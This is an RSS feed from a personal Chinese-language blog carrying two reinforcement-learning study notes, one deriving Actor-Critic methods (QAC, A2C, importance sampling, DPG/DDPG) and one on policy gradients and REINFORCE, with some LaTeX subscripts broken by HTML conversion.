<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Maxton‘s Blog</title><description>不时会分享些有趣的物或事</description><link>https://zh.maxtonniu.com</link><item><title>RL学习笔记：Actor-Critic算法</title><link>https://zh.maxtonniu.com/blog/rl_chapter10</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter10</guid><description>简述强化学习Actor-Critic算法框架，涵盖QAC、A2C、重要性采样及确定性策略梯度（DPG）的核心推导与更新机制。</description><pubDate>Sun, 22 Feb 2026 21:40:00 GMT</pubDate><content:encoded>&lt;h1&gt;Actor-critic&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Actor&lt;/strong&gt; 负责策略更新（Policy update），即决定在给定状态下采取什么动作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Critic&lt;/strong&gt; 负责策略评估（Policy evaluation）或价值估计（Value estimation），用于判断 Actor 所选策略的优劣。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;QAC (Q-Actor-Critic)&lt;/h2&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;#x26;\text{Critic (价值更新):} \
&amp;#x26;w_{t+1} = w_t + \alpha_w [r_{t+1} + \gamma q(s_{t+1}, a_{t+1}, w_t) - q(s_t, a_t, w_t)] \nabla_w q(s_t, a_t, w_t) \
&amp;#x26;\text{Actor (策略更新):} \
&amp;#x26;\theta_{t+1} = \theta_t + \alpha_\theta \nabla_\theta \ln \pi(a_t | s_t, \theta_t) q(s_t, a_t, w_{t+1})
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;A2C（Advantage Actor-Critic）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;引入基线函数（baseline）来减少方差。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
\begin{aligned}
\nabla_{\theta} J(\theta) &amp;#x26;= \mathbb{E}&lt;em&gt;{S \sim \eta, A \sim \pi} \left[ \nabla&lt;/em&gt;{\theta} \ln \pi(A|S, \theta_t) q_{\pi}(S, A) \right] \
&amp;#x26;= \mathbb{E}&lt;em&gt;{S \sim \eta, A \sim \pi} \left[ \nabla&lt;/em&gt;{\theta} \ln \pi(A|S, \theta_t) (q_{\pi}(S, A) - b(S)) \right]
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;要使上述等式成立，需满足：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}&lt;em&gt;{S \sim \eta, A \sim \pi} \left[ \nabla&lt;/em&gt;{\theta} \ln \pi(A|S, \theta_t) b(S) \right] = 0
$$&lt;/p&gt;
&lt;p&gt;具体推导如下：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\mathbb{E}&lt;em&gt;{S \sim \eta, A \sim \pi} \left[ \nabla&lt;/em&gt;{\theta} \ln \pi(A|S, \theta_t) b(S) \right] &amp;#x26;= \sum_{s \in \mathcal{S}} \eta(s) \sum_{a \in \mathcal{A}} \pi(a|s, \theta_t) \nabla_{\theta} \ln \pi(a|s, \theta_t) b(s) \
&amp;#x26;= \sum_{s \in \mathcal{S}} \eta(s) \sum_{a \in \mathcal{A}} \nabla_{\theta} \pi(a|s, \theta_t) b(s) \
&amp;#x26;= \sum_{s \in \mathcal{S}} \eta(s) b(s) \nabla_{\theta} \sum_{a \in \mathcal{A}} \pi(a|s, \theta_t) \
&amp;#x26;= \sum_{s \in \mathcal{S}} \eta(s) b(s) \nabla_{\theta} 1 = 0
\end{aligned}
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基线函数主要用于控制方差，因此目标是找到一个最优的基线函数使得方差最小化。最优的基线函数为：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
b^*(s) = \frac{\mathbb{E}&lt;em&gt;{A \sim \pi} [|\nabla&lt;/em&gt;{\theta} \ln \pi(A|s, \theta_t)|^2 q(s, A)]}{\mathbb{E}&lt;em&gt;{A \sim \pi} [|\nabla&lt;/em&gt;{\theta} \ln \pi(A|s, \theta_t)|^2]}
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;由于该形式计算过于复杂，实际应用中通常会去掉权重项 $\mathbb{E}&lt;em&gt;{A \sim \pi} [|\nabla&lt;/em&gt;{\theta} \ln \pi(A|s, \theta_t)|^2]$，即近似为：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
b(s) = \mathbb{E}&lt;em&gt;{A \sim \pi} [q(s, A)] = v&lt;/em&gt;{\pi}(s)
$$&lt;/p&gt;
&lt;p&gt;当 $b(s) = v_\pi(s)$ 时：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;梯度上升算法&lt;/strong&gt;为：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
\begin{aligned}
\theta_{t+1} &amp;#x26;= \theta_t + \alpha \mathbb{E} \left[ \nabla_\theta \ln \pi(A|S, \theta_t) [q_\pi(S, A) - v_\pi(S)] \right] \
&amp;#x26;\doteq \theta_t + \alpha \mathbb{E} \left[ \nabla_\theta \ln \pi(A|S, \theta_t) \delta_\pi(S, A) \right]
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;p&gt;$$
\delta_\pi(S, A) \doteq q_\pi(S, A) - v_\pi(S)
$$&lt;/p&gt;
&lt;p&gt;该项被称为&lt;strong&gt;优势函数（Advantage function）&lt;/strong&gt;。根据 $v_{\pi}(S)$ 的定义，它是状态 $S$ 下所有动作价值的期望。如果某个动作的 $q$ 值大于平均值 $v$，则说明该动作具备“优势”。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;该算法的&lt;strong&gt;随机版本&lt;/strong&gt;为：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
\begin{aligned}
\theta_{t+1} &amp;#x26;= \theta_t + \alpha \nabla_\theta \ln \pi(a_t|s_t, \theta_t) [q_t(s_t, a_t) - v_t(s_t)] \
&amp;#x26;= \theta_t + \alpha \nabla_\theta \ln \pi(a_t|s_t, \theta_t) \delta_t(s_t, a_t)
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;此外，该算法可以重新表示为：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\theta_{t+1} &amp;#x26;= \theta_t + \alpha \nabla_\theta \ln \pi(a_t|s_t, \theta_t) \delta_t(s_t, a_t) \
&amp;#x26;= \theta_t + \alpha \frac{\nabla_\theta \pi(a_t|s_t, \theta_t)}{\pi(a_t|s_t, \theta_t)} \delta_t(s_t, a_t) \
&amp;#x26;= \theta_t + \underbrace{\alpha \left( \frac{\delta_t(s_t, a_t)}{\pi(a_t|s_t, \theta_t)} \right)}&lt;em&gt;{\text{步长 (step size)}} \nabla&lt;/em&gt;\theta \pi(a_t|s_t, \theta_t)
\end{aligned}
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;更新步长与&lt;strong&gt;相对值 $\delta_t$&lt;/strong&gt; 成正比，而非&lt;strong&gt;绝对值 $q_t$&lt;/strong&gt;，这在逻辑上更具合理性。&lt;/li&gt;
&lt;li&gt;它依然能很好地平衡&lt;strong&gt;探索与利用（Exploration and Exploitation）&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过 TD 误差进行近似：&lt;/p&gt;
&lt;p&gt;$$
\delta_t = q_t(s_t, a_t) - v_t(s_t) \approx r_{t+1} + \gamma v_t(s_{t+1}) - v_t(s_t)
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;这种近似是合理的&lt;/strong&gt;，因为：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
\mathbb{E}[q_\pi(S, A) - v_\pi(S)|S = s_t, A = a_t] = \mathbb{E}[R_{t+1} + \gamma v_\pi(S_{t+1}) - v_\pi(S_t)|S = s_t, A = a_t]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：只需一个神经网络来近似 $v_\pi(s)$，而不需要维护两个网络分别近似 $q_\pi(s, a)$ 和 $v_\pi(s)$。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;重要性采样和 Off-policy&lt;/h2&gt;
&lt;h3&gt;Importance sampling technique&lt;/h3&gt;
&lt;p&gt;注意到：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}&lt;em&gt;{X \sim p_0}[X] = \sum_x p_0(x)x = \sum_x p_1(x) \underbrace{\frac{p_0(x)}{p_1(x)} x}&lt;/em&gt;{f(x)} = \mathbb{E}_{X \sim p_1}[f(X)]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;因此，可以通过估计 $\mathbb{E}&lt;em&gt;{X \sim p_1}[f(X)]$ 来估计 $\mathbb{E}&lt;/em&gt;{X \sim p_0}[X]$。&lt;/li&gt;
&lt;li&gt;估计方法如下：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;令：&lt;/p&gt;
&lt;p&gt;$$
\bar{f} \doteq \frac{1}{n} \sum_{i=1}^n f(x_i), \quad \text{其中 } x_i \sim p_1
$$&lt;/p&gt;
&lt;p&gt;那么：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}&lt;em&gt;{X \sim p_1}[\bar{f}] = \mathbb{E}&lt;/em&gt;{X \sim p_1}[f(X)]
$$&lt;/p&gt;
&lt;p&gt;$$
\text{var}&lt;em&gt;{X \sim p_1}[\bar{f}] = \frac{1}{n} \text{var}&lt;/em&gt;{X \sim p_1}[f(X)]
$$&lt;/p&gt;
&lt;p&gt;所以，$\bar{f}$ 是 $\mathbb{E}_{X \sim p_0}[X]$ 的良好近似：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}&lt;em&gt;{X \sim p_0}[X] \approx \bar{f} = \frac{1}{n} \sum&lt;/em&gt;{i=1}^n f(x_i) = \frac{1}{n} \sum_{i=1}^n \frac{p_0(x_i)}{p_1(x_i)} x_i
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;比例 $\frac{p_0(x_i)}{p_1(x_i)}$ 被称为&lt;strong&gt;重要性权重（Importance weight）&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;如果 $p_1(x_i) = p_0(x_i)$，重要性权重为 1，$\bar{f}$ 退化为标准算术平均值。&lt;/li&gt;
&lt;li&gt;如果 $p_0(x_i) &gt; p_1(x_i)$，说明样本 $x_i$ 在分布 $p_0$ 中出现的频率高于 $p_1$。大于 1 的重要性权重会增强该样本在期望计算中的比重。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目标函数定义为：&lt;/p&gt;
&lt;p&gt;$$
J(\theta) = \sum_{s \in \mathcal{S}} d_\beta(s) v_\pi(s) = \mathbb{E}&lt;em&gt;{S \sim d&lt;/em&gt;\beta} [v_\pi(S)]
$$&lt;/p&gt;
&lt;p&gt;其梯度为：&lt;/p&gt;
&lt;p&gt;$$
\nabla_\theta J(\theta) = \mathbb{E}&lt;em&gt;{S \sim \rho, A \sim \beta} \left[ \frac{\pi(A | S, \theta)}{\beta(A | S)} \nabla&lt;/em&gt;\theta \ln \pi(A | S, \theta) q_\pi(S, A) \right]
$$&lt;/p&gt;
&lt;p&gt;离轨策略（Off-policy）梯度对基准函数 $b(s)$ 同样具有不变性：&lt;/p&gt;
&lt;p&gt;$$
\nabla_{\theta} J(\theta) = \mathbb{E}&lt;em&gt;{S \sim \rho, A \sim \beta} \left[ \frac{\pi(A|S, \theta)}{\beta(A|S)} \nabla&lt;/em&gt;{\theta} \ln \pi(A|S, \theta) (q_{\pi}(S, A) - b(S)) \right]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为减小估计方差，同样选择基准函数 $b(S) = v_{\pi}(S)$，得到：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
\nabla_{\theta} J(\theta) = \mathbb{E} \left[ \frac{\pi(A|S, \theta)}{\beta(A|S)} \nabla_{\theta} \ln \pi(A|S, \theta) (q_{\pi}(S, A) - v_{\pi}(S)) \right]
$$&lt;/p&gt;
&lt;p&gt;对应的随机梯度上升算法为：&lt;/p&gt;
&lt;p&gt;$$
\theta_{t+1} = \theta_t + \alpha_{\theta} \frac{\pi(a_t|s_t, \theta_t)}{\beta(a_t|s_t)} \nabla_{\theta} \ln \pi(a_t|s_t, \theta_t) (q_t(s_t, a_t) - v_t(s_t))
$$&lt;/p&gt;
&lt;p&gt;类似于同轨（On-policy）情况：&lt;/p&gt;
&lt;p&gt;$$
q_t(s_t, a_t) - v_t(s_t) \approx r_{t+1} + \gamma v_t(s_{t+1}) - v_t(s_t) \doteq \delta_t(s_t, a_t)
$$&lt;/p&gt;
&lt;p&gt;算法最终形式变为：&lt;/p&gt;
&lt;p&gt;$$
\theta_{t+1} = \theta_t + \alpha_{\theta} \frac{\pi(a_t|s_t, \theta_t)}{\beta(a_t|s_t)} \nabla_{\theta} \ln \pi(a_t|s_t, \theta_t) \delta_t(s_t, a_t)
$$&lt;/p&gt;
&lt;p&gt;重写后凸显步长关系：&lt;/p&gt;
&lt;p&gt;$$
\theta_{t+1} = \theta_t + \alpha_{\theta} \left( \frac{\delta_t(s_t, a_t)}{\beta(a_t|s_t)} \right) \nabla_{\theta} \pi(a_t|s_t, \theta_t)
$$&lt;/p&gt;
&lt;h2&gt;Deterministic Actor-Critic (DPG)&lt;/h2&gt;
&lt;p&gt;策略表示方式的演变：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在此之前，通用策略记作 $\pi(a|s, \theta) \in [0, 1]$，它通常是随机的（Stochastic）。&lt;/li&gt;
&lt;li&gt;现在引入确定性策略（Deterministic policy），记作：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
a = \mu(s, \theta) \doteq \mu(s)
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\mu$ 是从状态空间 $\mathcal{S}$ 到动作空间 $\mathcal{A}$ 的直接映射。&lt;/li&gt;
&lt;li&gt;实践中 $\mu$ 常由神经网络参数化表示，输入为 $s$，输出直接为动作 $a$，参数为 $\theta$。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目标函数的梯度为：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\nabla_{\theta} J(\theta) &amp;#x26;= \sum_{s \in \mathcal{S}} \rho_{\mu}(s) \nabla_{\theta} \mu(s)\left.\left(\nabla_{a} q_{\mu}(s, a)\right)\right|&lt;em&gt;{a=\mu(s)} \
&amp;#x26;= \mathbb{E}&lt;/em&gt;{S \sim \rho_{\mu}}\left[\left.\nabla_{\theta} \mu(S)\left(\nabla_{a} q_{\mu}(S, a)\right)\right|_{a=\mu(S)}\right]
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;基于确定性策略梯度，最大化 $J(\theta)$ 的梯度上升算法为：&lt;/p&gt;
&lt;p&gt;$$
\theta_{t+1} = \theta_t + \alpha_\theta \mathbb{E}&lt;em&gt;{S \sim \rho&lt;/em&gt;\mu} \left[ \nabla_\theta \mu(S) \left( \nabla_a q_\mu(S, a) \right) |_{a=\mu(S)} \right]
$$&lt;/p&gt;
&lt;p&gt;对应的随机梯度上升单步更新为：&lt;/p&gt;
&lt;p&gt;$$
\theta_{t+1} = \theta_t + \alpha_\theta \nabla_\theta \mu(s_t) \left( \nabla_a q_\mu(s_t, a) \right) |_{a=\mu(s_t)}
$$&lt;/p&gt;
&lt;p&gt;整体架构更新逻辑如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TD 误差&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
\delta_t = r_{t+1} + \gamma q(s_{t+1}, \mu(s_{t+1}, \theta_t), w_t) - q(s_t, a_t, w_t)
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Critic (价值更新)&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
w_{t+1} = w_t + \alpha_w \delta_t \nabla_w q(s_t, a_t, w_t)
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Actor (策略更新)&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
\theta_{t+1} = \theta_t + \alpha_\theta \nabla_\theta \mu(s_t, \theta_t) \left( \nabla_a q(s_t, a, w_{t+1}) \right) |_{a=\mu(s_t)}
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这是一种&lt;strong&gt;离轨策略（Off-policy&lt;/strong&gt;实现。数据收集策略（行为策略 $\beta$）通常不同于当前正在优化的目标策略 $\mu$。&lt;/li&gt;
&lt;li&gt;为了保证探索性，行为策略 $\beta$ 通常设定为目标策略加上噪声，即 $\beta = \mu + \text{noise}$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关于 $q(s, a, w)$ 的函数近似选择&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;线性函数&lt;/strong&gt;：$q(s, a, w) = \phi^T(s, a)w$，其中 $\phi(s, a)$ 为人工设计的特征向量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;神经网络&lt;/strong&gt;：当使用深度神经网络近似价值和策略时，即演变为&lt;strong&gt;深度确定性策略梯度（DDPG, Deep Deterministic Policy Gradient&lt;/strong&gt;算法。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RL学习笔记：策略梯度方法</title><link>https://zh.maxtonniu.com/blog/rl_chapter09</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter09</guid><description>总结强化学习中策略梯度方法的核心思想，涵盖目标函数的定义、对数求导技巧与梯度定理的推导过程，并梳理REINFORCE算法及其参数更新机制。</description><pubDate>Sun, 22 Feb 2026 16:30:00 GMT</pubDate><content:encoded>&lt;h1&gt;策略梯度方法&lt;/h1&gt;
&lt;p&gt;在策略梯度方法中，策略被以一种参数函数的形式呈现。&lt;/p&gt;
&lt;p&gt;$$
\pi(a|s,\theta)
$$&lt;/p&gt;
&lt;p&gt;其中 $\theta \in \mathbb{R}^m$ 是参数向量。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;该函数可以是一个神经网络，其输入为状态 $s$，输出是采取每个动作的概率，参数为 $\theta$。&lt;/li&gt;
&lt;li&gt;当状态空间较大时，表格表示法（tabular representation）在存储和泛化方面的效率较低，函数近似能有效解决这一问题。&lt;/li&gt;
&lt;li&gt;函数表示通常也写作 $\pi(a, s, \theta)$、$\pi_\theta(a|s)$ 或 $\pi_\theta(a, s)$。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;基本思想&lt;/h3&gt;
&lt;p&gt;设定一个目标函数（例如 $J(\theta)$）来评估策略的表现。&lt;/p&gt;
&lt;p&gt;使用梯度上升的方法来更新参数，寻找最优策略：&lt;/p&gt;
&lt;p&gt;$$
\theta_{t+1} = \theta_t + \alpha \nabla_\theta J(\theta_t)
$$&lt;/p&gt;
&lt;h2&gt;目标函数 (Metrics)&lt;/h2&gt;
&lt;h3&gt;1. 状态价值的加权平均&lt;/h3&gt;
&lt;p&gt;$$
\bar{v}&lt;em&gt;{\pi} = \sum&lt;/em&gt;{s \in \mathcal{S}} d(s) v_{\pi}(s)
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\bar{v}_{\pi}$ 是一个加权平均值。&lt;/li&gt;
&lt;li&gt;$d(s) \ge 0$ 是状态 $s$ 的权重，可以理解为状态出现的概率分布。&lt;/li&gt;
&lt;li&gt;期望形式表示为：$\bar{v}&lt;em&gt;{\pi} = \mathbb{E}[v&lt;/em&gt;{\pi}(S)]$。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其向量形式为：&lt;/p&gt;
&lt;p&gt;$$
\bar{v}&lt;em&gt;{\pi} = d^T v&lt;/em&gt;{\pi}
$$&lt;/p&gt;
&lt;p&gt;其中 $v_{\pi} \in \mathbb{R}^{|\mathcal{S}|}$ 且 $d \in \mathbb{R}^{|\mathcal{S}|}$。&lt;/p&gt;
&lt;p&gt;在幕式（Episodic）任务中，目标函数可以定义为从初始状态出发的期望回报：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
J(\theta) &amp;#x26;= \mathbb{E} \left[ \sum_{t=0}^{\infty} \gamma^t R_{t+1} \right] \
&amp;#x26;= \sum_{s \in \mathcal{S}} d_0(s) v_\pi(s)
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关于权重 $d(s)$ 的设定：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;与策略 $\pi$ 无关：&lt;/strong&gt; 在幕式任务中，通常将 $d$ 设定为初始状态分布 $d_0$。例如，认为所有状态同等重要时 $d_0(s) = 1/|\mathcal{S}|$，或者只关心特定初始状态 $s_0$ 时 $d_0(s_0) = 1$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与策略 $\pi$ 有关：&lt;/strong&gt; 在持续性（Continuing）任务中，$d$ 依赖于策略 $\pi$，通常选择稳态分布 $d_\pi$。稳态分布满足 $d_{\pi}^T P_{\pi} = d_{\pi}^T$，其中 $P_{\pi}$ 是状态转移矩阵。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 平均单步奖励 (Average Reward)&lt;/h3&gt;
&lt;p&gt;$$
\bar{r}&lt;em&gt;\pi = \sum&lt;/em&gt;{s \in \mathcal{S}} d_\pi(s) r_\pi(s) = \mathbb{E}[r_\pi(S)]
$$&lt;/p&gt;
&lt;p&gt;其中状态 $S \sim d_\pi$。状态 $s$ 下的期望即时奖励为：&lt;/p&gt;
&lt;p&gt;$$
r_\pi(s) = \sum_{a \in \mathcal{A}} \pi(a|s) r(s, a)
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;权重 $d_\pi$ 是平稳分布。&lt;/li&gt;
&lt;li&gt;$\bar{r}_\pi$ 是单步即时奖励的加权平均值。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;平均奖励也可以定义为长期奖励的极限形式：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\lim_{n \to \infty} \frac{1}{n} \mathbb{E} \left[ \sum_{k=1}^{n} R_{t+k} \mid S_t = s_0 \right] &amp;#x26;= \sum_{s \in \mathcal{S}} d_\pi(s) r_\pi(s) = \bar{r}_\pi
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;此时初始状态 $s_0$ 的影响在极限下被消除，两种定义方式等价。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;指标对比：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;上述指标均依赖于策略 $\pi$，因此本质上都是参数 $\theta$ 的函数。&lt;/li&gt;
&lt;li&gt;直观来看，$\bar{r}&lt;em&gt;\pi$ 更加关注即时奖励，而 $\bar{v}&lt;/em&gt;\pi$ 则更关注长期回报。&lt;/li&gt;
&lt;li&gt;在包含折扣因子 $\gamma$ 的情况下，二者存在数学联系：$\bar{r}&lt;em&gt;\pi = (1 - \gamma) \bar{v}&lt;/em&gt;\pi$。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;策略梯度定理 (Gradients of the Metrics)&lt;/h2&gt;
&lt;p&gt;无论目标函数是 $\bar{v}&lt;em&gt;{\pi}$ 还是 $\bar{r}&lt;/em&gt;{\pi}$，其梯度都可以统一表示为以下形式（成比例）：&lt;/p&gt;
&lt;p&gt;$$
\nabla_{\theta} J(\theta) \propto \sum_{s \in \mathcal{S}} \eta(s) \sum_{a \in \mathcal{A}} \nabla_{\theta} \pi(a|s, \theta) q_{\pi}(s, a)
$$&lt;/p&gt;
&lt;p&gt;其中 $\eta$ 是状态的分布权重。&lt;/p&gt;
&lt;h3&gt;梯度的推导与期望转化&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. 核心目标：&lt;/strong&gt; 将复杂的“状态-动作双重求和”形式，转化为允许通过数据采样来近似计算的“数学期望”形式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 对数求导技巧 (Log-Derivative Trick)：&lt;/strong&gt; 根据微积分法则，对策略函数取对数并求梯度：&lt;/p&gt;
&lt;p&gt;$$
\nabla_{\theta} \ln \pi(a|s, \theta) = \frac{1}{\pi(a|s, \theta)} \nabla_{\theta} \pi(a|s, \theta)
$$&lt;/p&gt;
&lt;p&gt;移项后得到：&lt;/p&gt;
&lt;p&gt;$$
\nabla_{\theta} \pi(a|s, \theta) = \pi(a|s, \theta) \nabla_{\theta} \ln \pi(a|s, \theta)
$$&lt;/p&gt;
&lt;p&gt;这一步“无中生有”地构造出了概率项 $\pi(a|s, \theta)$，是转化为期望定义的先决条件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 公式代入：&lt;/strong&gt; 将上述结果代入梯度公式：&lt;/p&gt;
&lt;p&gt;$$
\nabla_{\theta} J(\theta) \propto \sum_{s \in \mathcal{S}} \eta(s) \sum_{a \in \mathcal{A}} \pi(a|s, \theta) \nabla_{\theta} \ln \pi(a|s, \theta) q_{\pi}(s, a)
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 转化为数学期望：&lt;/strong&gt; 上式包含两层概率加权求和（外层基于状态分布 $\eta(s)$，内层基于动作概率 $\pi$），等价于对随机变量 $S$ 和 $A$ 的期望：&lt;/p&gt;
&lt;p&gt;$$
\nabla_{\theta} J(\theta) = \mathbb{E}[\nabla_{\theta} \ln \pi(A|S, \theta) q_{\pi}(S, A)]
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 实际意义：&lt;/strong&gt; 完成转化后，算法无需遍历所有状态和动作。智能体只需在环境中依据当前策略采样，收集到的轨迹数据自然符合该期望分布，从而可以通过单步采样来近似计算梯度。&lt;/p&gt;
&lt;p&gt;如果利用采样来近似梯度，单步更新方向为：&lt;/p&gt;
&lt;p&gt;$$
\nabla_{\theta} J \approx \nabla_{\theta} \ln \pi(a|s, \theta) q_{\pi}(s, a)
$$&lt;/p&gt;
&lt;h2&gt;策略函数的参数化 (Softmax)&lt;/h2&gt;
&lt;p&gt;为了保证概率性质 $\pi(a|s, \theta) &gt; 0$ 且概率和为 1，通常使用 Softmax 函数将实数偏好映射为概率。&lt;/p&gt;
&lt;p&gt;对于向量 $x = [x_1, \dots, x_n]^T$：&lt;/p&gt;
&lt;p&gt;$$
z_i = \frac{e^{x_i}}{\sum_{j=1}^n e^{x_j}}
$$&lt;/p&gt;
&lt;p&gt;其中 $z_i \in (0, 1)$ 且 $\sum_{i=1}^n z_i = 1$。&lt;/p&gt;
&lt;p&gt;应用到策略函数中：&lt;/p&gt;
&lt;p&gt;$$
\pi(a|s, \theta) = \frac{e^{h(s,a,\theta)}}{\sum_{a&apos; \in \mathcal{A}} e^{h(s,a&apos;,\theta)}}
$$&lt;/p&gt;
&lt;p&gt;其中 $h(s, a, \theta)$ 是动作偏好函数，可由神经网络参数化。&lt;/p&gt;
&lt;h2&gt;REINFORCE 与策略优化算法&lt;/h2&gt;
&lt;p&gt;利用真实梯度最大化目标函数：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\theta_{t+1} &amp;#x26;= \theta_t + \alpha \nabla_{\theta} J(\theta) \
&amp;#x26;= \theta_t + \alpha \mathbb{E}[\nabla_{\theta} \ln \pi(A|S, \theta_t) q_{\pi}(S, A)]
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;在实际应用中，使用随机梯度进行更新：&lt;/p&gt;
&lt;p&gt;$$
\theta_{t+1} = \theta_t + \alpha \nabla_{\theta} \ln \pi(a_t|s_t, \theta_t) q_{\pi}(s_t, a_t)
$$&lt;/p&gt;
&lt;p&gt;由于真实的动作价值函数 $q_\pi$ 是未知的，需要对其进行近似估算：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;REINFORCE 算法：&lt;/strong&gt; 使用蒙特卡洛方法，将完整的轨迹回报 $G_t$ 作为 $q_\pi(s_t, a_t)$ 的无偏估计进行梯度更新。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Actor-Critic 算法：&lt;/strong&gt; 结合时间差分（TD）算法，训练一个价值函数网络来近似估算 $q_\pi(s_t, a_t)$。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结合对数求导公式的反向展开 $\nabla_{\theta} \ln \pi = \frac{\nabla_{\theta} \pi}{\pi}$，参数更新规则可以直观地改写为：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\theta_{t+1} &amp;#x26;= \theta_t + \alpha \nabla_{\theta} \ln \pi(a_t | s_t, \theta_t) q_t(s_t, a_t) \
&amp;#x26;= \theta_t + \alpha \underbrace{\left( \frac{q_t(s_t, a_t)}{\pi(a_t | s_t, \theta_t)} \right)}&lt;em&gt;{\beta_t} \nabla&lt;/em&gt;{\theta} \pi(a_t | s_t, \theta_t)
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;即：&lt;/p&gt;
&lt;p&gt;$$
\theta_{t+1} = \theta_t + \alpha \beta_t \nabla_{\theta} \pi(a_t | s_t, \theta_t)
$$&lt;/p&gt;
